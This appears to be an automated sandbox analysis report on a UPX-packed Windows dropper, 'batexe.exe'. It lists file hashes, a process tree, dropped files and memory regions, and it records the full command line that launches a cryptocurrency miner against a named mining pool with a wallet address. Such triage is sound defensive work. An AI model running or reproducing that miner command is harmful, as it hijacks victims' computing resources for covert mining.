73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
295s
max time network
300s
platform
windows10-1703_x64
resource
win10-20240221-ja
resource tags

arch:x64arch:x86image:win10-20240221-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
23-02-2024 12:25

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
2356	b2e.exe
1148	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
1148	cpuminer-sse2.exe
1148	cpuminer-sse2.exe
1148	cpuminer-sse2.exe
1148	cpuminer-sse2.exe
1148	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4816-6-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4816 wrote to memory of 2356	4816	batexe.exe	75
PID 4816 wrote to memory of 2356	4816	batexe.exe	75
PID 4816 wrote to memory of 2356	4816	batexe.exe	75
PID 2356 wrote to memory of 4132	2356	b2e.exe	76
PID 2356 wrote to memory of 4132	2356	b2e.exe	76
PID 2356 wrote to memory of 4132	2356	b2e.exe	76
PID 4132 wrote to memory of 1148	4132	cmd.exe	79
PID 4132 wrote to memory of 1148	4132	cmd.exe	79

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4816
- C:\Users\Admin\AppData\Local\Temp\176B.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\176B.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\176B.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2356
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\1C3D.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4132
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1148

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\176B.tmp\b2e.exe

Filesize
3.1MB

MD5
33732f8e644777ac37c91ad37f221a9e

SHA1
c4af43e643ccaddad566ee3c6e272b4629e1a729

SHA256
1bd6c9dcd4a711aad6004923672b048e98e1ccb7d4b262d30f7c86b8026cc413

SHA512
25183001e035f0f83cdc1daf65610bc622c932cb9b45a1ee8c974364784fcea18d84bfdf0ceb03a6285110f6d408eb6a6d19ee85b9cecfa535387299ad278d9b

Download Submit
C:\Users\Admin\AppData\Local\Temp\176B.tmp\b2e.exe

Filesize
2.8MB

MD5
1f04ef78e57b7d6a9adcb0226aaf2734

SHA1
30d4cf094fdc6409215dbab1748e3765c17b5e83

SHA256
11c15345c5b64033a7a2c2c265c4c550122564229be0262f6384ec7c80d04483

SHA512
4af6227c0090855ff22196bff65b494c47554416dba89f41ae7285e419caf9544b7c0212105b3493e281b8df8411c5e517a8557080eea1e92ecdd73c7e09d884

Download Submit
C:\Users\Admin\AppData\Local\Temp\1C3D.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.8MB

MD5
cf0b1ff4743a29f62b1f538ddecda605

SHA1
efc4a00ad41311e9772378685407c6da24c1311e

SHA256
d4357cb6e86680dc8eccbaa2f27bf831f0539098cddd67336380c45ab312c8d6

SHA512
3192fc7416d331e1f4e94fc2cc34bf03a0c96752691a4035d5946b0b0f98299ea8d297c9cd8c589711bc1add3fce1219bca6a38fbe8f2ce050318226589dda4a

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.4MB

MD5
26c288ad93b7732e9da4e65826cba9be

SHA1
1807f769c01777b790befb309d303c6678f50043

SHA256
49f18c7090956a99b5f018541e7a6f6ab650ebc34d3a56c4bcc9817ee7cb55b9

SHA512
f19d4cc23eb33da2d697f3fd1bb20720e8b5931af5bce1d2a1764e80fbf0f598e51b6d202d05f8286daaad7cce865b88a89786d3f8d1695ee7a91e7f64147df1

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.2MB

MD5
a130257026a9a69e50bb9f57aa5e97fb

SHA1
f2ee98c50cfd2d9cf39fd3873a74c326c539966b

SHA256
f38f323404c7918d8e354846de4482555e85ee2766d2e9679f03ebb27f15d83c

SHA512
947723c49da53f241211ce9d3299f9140a40ebea411d83ce3b644570c0fd252c35a70b6192bf3451c8f2c2af634c874dd427219ecb8fb2d86ab7e4c06a781307

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
8ee1054cc4c0b0195c0cfe5a181ca7c2

SHA1
f13254e6241666a30f64f42896163ce2b0d26b1a

SHA256
6ac5c6bcdc9d582460e2d92fad1eac6b1c74472baf32c6021be1750ef9826501

SHA512
149efcb30b4761f5b9ae90f7b20c1a5adb4ef391540c4eba0f6fcc6a46302be4b1e47e2742b66413bd3b31dccd70794e12dd7c13fc783a8a261544dfa51a213a

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
897KB

MD5
3de093dd718e23d8ff43a4a6e376fc3b

SHA1
db144c06b2405a55343a95f3d67f2cd9759d3e46

SHA256
e0d74a6c59671397de5f59ce0de82ab82d982d06c01af6858a520d659d7ecbeb

SHA512
6fcff13a6554e7c8320f7ff021bb359a0fa67b80d27c9453e2bb40d788cf86436c2dabc4976b6cc506aea4c3ec72bcf294968632ca91b57e33f2124dea44f2de

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
827KB

MD5
c327c1658c15306d6a32c316ba794957

SHA1
2839bf6714c8b27651d5cde3cbe18915347d4c04

SHA256
ea9e071d8bc05b07eeca12e661fb31c75bca5a0691129c60596621c4594fa8a0

SHA512
4970424e1dd3a01d0fa0a94270fca2588cc48554611c4afd3cb3b2e8c31240de16cdf6270c3f09ab08e94421102962930a34136b18dcaecb8cc61c88e301e4c3

Download Submit
memory/1148-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1148-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1148-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1148-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/1148-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/1148-43-0x0000000061DB0000-0x0000000061E48000-memory.dmp

Filesize
608KB

Download
memory/1148-44-0x00000000010B0000-0x0000000002965000-memory.dmp

Filesize
24.7MB

Download
memory/1148-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1148-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1148-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1148-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1148-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1148-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1148-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1148-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2356-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2356-5-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4816-6-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download